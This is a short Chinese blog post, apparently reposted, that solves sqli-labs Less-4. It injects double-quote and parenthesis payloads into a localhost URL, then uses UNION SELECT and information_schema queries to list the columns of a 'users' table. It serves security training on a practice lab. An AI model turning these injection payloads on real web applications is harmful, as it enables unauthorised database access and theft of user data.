码迷,mamicode.com
首页 > 数据库 > 详细

【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

时间:2018-01-18 23:01:59      阅读:245      评论:0      收藏:0      [点我收藏+]

标签:color   and   security   tab   sqli   local   基于   inf   sql   

提交id参数

技术分享图片

加‘

http://localhost/sqli/Less-4/?id=1‘

技术分享图片

页面正常,添加"

http://localhost/sqli/Less-4/?id=1"

技术分享图片

对应的sql语句应为

select ... from ... where xx=("1") limit 0,1

构造

select ... from ... where xx=("1")#") limit 0,1

对应的GET请求

http://localhost/sqli/Less-4/?id=1")%23

技术分享图片

http://localhost/sqli/Less-4/?id=a") union select 1,2,3%23

技术分享图片

接下来又是走流程了

http://localhost/sqli/Less-4/?id=a") union select 1,2,column_name from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘ limit 0,1%23

技术分享图片

 

【sqli-labs】 less4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

标签:color   and   security   tab   sqli   local   基于   inf   sql   

原文地址:https://www.cnblogs.com/superkrissV/p/8313314.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!